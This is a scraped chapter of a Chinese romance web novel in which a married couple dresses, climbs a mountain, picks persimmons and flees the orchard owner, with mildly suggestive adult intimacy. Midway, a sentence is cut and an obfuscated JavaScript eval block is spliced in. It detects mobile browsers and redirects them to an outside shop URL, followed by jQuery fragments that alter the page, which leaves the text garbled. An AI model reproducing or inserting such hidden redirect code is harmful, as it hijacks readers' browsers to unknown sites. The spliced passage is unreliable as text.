59. 登高

作品:《夫君排队进火葬场了吗

    萧令仪脸儿微微发烫,意味深长地看着严瑜,严瑜虽一副矜持自重的模样,却也耳尖微红。


    “帮我插上吧。”她将簪子递给他。


    严瑜接过,仔细瞧了瞧她的云鬟雾鬓,似是在想插在何处。


    戴上了簪子,她手抚了抚,“好看吗?”


    这玉簪形态别致,戴在她头上,更显清丽娇俏。


    “好看。”


    萧令仪轻轻勾着他的小指,笑意盈盈仰头道:“你从哪里得来这样别致的簪子?”


    “都督的小公子赏的一块玉,我托人雕的。”他由着她勾手摇摇晃晃。


    她往前贴,下巴抵在他腹上,仰头笑道:“我很喜欢,多谢夫君~”


    严瑜揽着她,手挠了挠她下巴,躬下身去吻她唇。


    吻着吻着,最后变成他将她压在榻上,萧令仪趁最后一丝清醒,双手抵住他道:“不、不行,明日,既要登高,今日不能,胡来,要养精蓄锐。”


    箭在弦上的严瑜:......


    他埋在她肩颈处,轻轻咬了一口,一动不动。


    不知过了多久,他起身,替她理好衣襟,“我先去沐浴了。”


    说完便一阵风似的走了。


    萧令仪仰躺在榻上,长舒一口气。


    翌日,萧令仪无须人喊,一早便醒了。


    严瑜似乎也刚醒转,见她目光已清明,揽过她,吻了吻额头,“新岁康健,万事顺意。”


    她搂着他的颈,在他肩窝里蹭来蹭去,撒娇,“夫君~”


    他拍拍她的臀,“快些起床,不然起不来了。”


    萧令仪也感受到某处生气勃勃,脸微烫,退开了些,趿着鞋子下了床,从柜中取了衣物,“穿这身可好?”


    正是她前几日为他做的,他点点头,“好。”


    也顺势下了床,走到她身边,正要接过她手中的衣裳。


    却扯不动,她脸微红,蚊呐道:“我帮你穿吧?”


    严瑜目光幽沉,到底放开了手。


    萧令仪将手上的衣裳放在一旁,先将他身上的寝衣脱下来,动作不紧不慢。


    她知晓他正盯着自个儿看,丝毫不敢抬头,只专注手上。


    偏脱了寝衣,眼前正对的便是他的胸膛,她又不知往哪看了,屏住呼吸,脸愈发烫。


    拿起新做的衣裳,羞着脸一件一件为他穿好,只再如何小心,都会无意间蹭到他肌肤。


    终于将腰带系好,她悄悄松了口气,才敢抬头看他。


    视线甫一对上,严瑜便揽过她腰,紧紧贴着他,从她寝衣的衣摆下伸进去,摧花折玉。


    他唇贴在她耳畔,惩罚似的咬了一口耳垂,“做什么现在勾我,不想出门了?嗯?”


    萧令仪想说冤枉,自己哪有勾他,可她浑身软绵绵的,瘫倒在他怀里,不想说话。


    严瑜见她软倒,倒是没有再继续,一手揽住她,一手翻看柜中她的衣物,见有套和他身上同一料子的,拿了出来,为她穿上。


    这会子又是目不斜视的正人君子了。


    两人都穿好衣裳后,情动模样仍未消歇,便不好叫丫鬟进来为她梳妆。


    在萧令仪的指挥下,严瑜为她梳了个歪歪扭扭的发髻,虽不甚规整,却别有一番俏皮,她也就作罢不再重梳。


    她捡起那根月牙鱼儿簪,笑着看向镜中,“我要戴这个!”


    他站在她身后,也噙着笑,正在为她找角度插上玉簪。


    匀面后便要敷粉点妆了,这下严瑜无从下手,只能在一旁看她自个儿动手。


    女子上妆自有一套章程,他在旁看的新奇,萧令仪正描眉,在镜中瞥见他瞧着眼也不眨,羞恼回头,“你总盯着看做什么?!”


    上妆时被他看着总觉得怪怪的。


    “也没什么区别。”原本就脸儿白皙,颊上一抹淡淡的粉晕,现下又要用香粉遮盖起来,遮盖后又抹上粉晕,不是多此一举吗?


    他不理解,不过见她画的开心,便随她了。


    “什么叫没区别?”萧令仪嗔道,“你是说我上妆不好看?”


    “不,我是说,嗯......淡妆浓抹总相宜。”


    她这才满意,慢慢将口脂点上。


    吩咐紫苏看着铺子,两人便出门了。


    萧令仪站在马车旁,“这次马车大了许多。”也看着豪华许多。


    严瑜扶了她上车,两人进了马车里立时又黏在一处。


    比起先前只能容一人坐下,两人便要挤着的马车,这辆马车中还有箱柜。


    他从柜中拿了些糕饼果子出来,萧令仪欢喜接过,“这马车不错,什么时候咱们也买一辆。”


    “嗯。”


    两人一路说着话,马车行至西山脚下,车夫在这里候着,严瑜和萧令仪携手登山。


    这时节秋高气爽,天空碧蓝如洗,微风不燥,令人心旷神怡。


    果然,案牍劳形久了,再见这山野风光,真是身心舒畅。


    两人悠悠拾阶而上,边登,边赏看两旁的风景。


    “呀!”萧令仪跳过来,往他身边一挤。


    “怎么了?


    她指着一旁,“毛虫!”


    “无妨,它爬的慢,走。”他揽过她的背,带着她往上走。


    走着走着,萧令仪觉得有些不对劲,后颈处好像有什么毛剌剌的在动。


    她声音颤抖,“夫君......你帮我看看,我后颈上是不是有什么东西。”


    严瑜眨眨眼,往后看,“没有啊。”


    萧令仪摸了摸后颈,的确什么都没有。


    又走几步,那毛剌剌的感觉又来了,她回头看到底什么在她颈背上,却瞥见严瑜藏之不及的莠草。


    “好啊你!”她气的一把夺过他手上的莠草,就要抽他。


    严瑜闪身一躲,飞快几步往上,萧令仪在后追他,“可恶至极!不许跑!”


    偏他腿长,都不用跑,只需稍快几步,他边回头看她,边哈哈大笑起来。


    “你还笑!”萧令仪已然被气成河豚了,又追不上他。


    “啊!”她痛呼一声,摔跪在石阶上。


    严瑜面色骤变,三两步立刻跑下来,“阿姮!摔哪了?!”


    萧令仪趁势抓住他,拿着莠草就往他身上使劲抽,待她抽累了停下,他才笑着告饶:“求夫人饶命。”


    只要没真摔伤便好。


    她将莠草一扔,“幼稚!”


    她成熟稳重的夫君去哪了?被夺舍了吧!


    严瑜自儿时便要装作大人,除了作为“小鱼”在母亲怀里时,几乎没有孩童时期,如今在萧令仪跟前,竟露出幼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012577|190868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    稚的孩童心性,他自己也有几分赧然。


    他蹲下身,“我背你上去。”


    “我没摔着。”她也不想他担心。


    “我想背着你。”


    萧令仪撅起的嘴勾了起来,又压下去,“好吧,那就勉为其难让你背一会好了。”


    严瑜也笑,“是,背着夫人是严某的荣幸。”


    萧令仪勾住他肩颈,往他背上一跳,他把着她的腿,继续往上走。


    她便倚在他背上看山川风物,“那是暗香钨吗?”


    他顺着她指的方向看去,“不知,要去瞧瞧吗?”


    “不了吧,重阳那日大约要去,说是有什么雅集。”梅萍已经差人将请帖给她送过来了。


    “那日我约莫也会去。”


    “真的?!”她有些惊讶,看来在都督府里除了银子,也有结交更多士子这一门好处。


    “都督府的小公子会来,只是他不善诗文,毕竟是雅集,大约有什么联诗作对的,便要我陪着来。”


    萧令仪看向他侧脸,鬓边有细微的汗珠,她素手擦了擦,亲了一口,“我夫君真是厉害!”


    这山路不是陡直地向上,到了山腰处,有一大片开阔的地界,远看着好像有水还有花,好似还有几户人家。


    两人转道向那走去。


    果然有一条小溪,溪水清澈,偶有红叶随水而流,他将她放下来,萧令仪蹲在溪边,拨了拨水。


    严瑜方才微微出了些汗,便借着溪水,抹了把脸,萧令仪递帕子给他擦脸,“欸,那是不是柿子树?”


    她指着他身后。


    严瑜看向身后,“好似是。”


    萧令仪走到那柿子树底下,仰头见红彤彤的柿子挂在枝头,十分喜庆。


    他走至她身畔,听她道:“许久没吃柿子了。”


    严瑜瞧了瞧这柿子树,枝桠纤细,只怕人还没爬上去就折断了,熟透了的柿子又不能敲下来,用着接着都要摔烂的。


    严瑜蹲身,拍了拍肩颈,“上来。”


    她脸微红,他是让她骑着他么?萧令仪站在一旁不动。


    “来。”


    她索性不管了,跨了上去。


    严瑜扶住她,“坐稳了。”


    旋即站了起来,果然一下高了许多。


    她从未有过这种视角,便是儿时也没有过,一时间十分新奇,萧令仪抬头看了看枝头的柿子,“往左一些。”


    严瑜依言往左。


    萧令仪摘了两个熟透的,小心虚握在手中,“好了。”


    他又慢慢蹲身将她放下,她一手握着一个柿子,都递给他。


    他接过一个,小心撕开皮,又递回给她。


    她将另一个放他手中,“你也吃,柿柿如意!”


    小夫妻俩便在树下吃起柿子来,一时吃的手上沾了汁水,又往溪边洗净。


    “谁在偷我柿子!”还未待擦干手,有人往这边追了过来。


    夫妻俩面面相觑,当机立断,“跑!”


    手拉着手疯跑了许久,后头终于没有人追上来了。


    身后是一片半人高的花海,萧令仪瘫坐在花上,两人都是气喘吁吁,心怦怦跳,甫一对视,都笑出声来。


    笑着笑着,两人像扭股儿糖似的黏在了一处。


    ......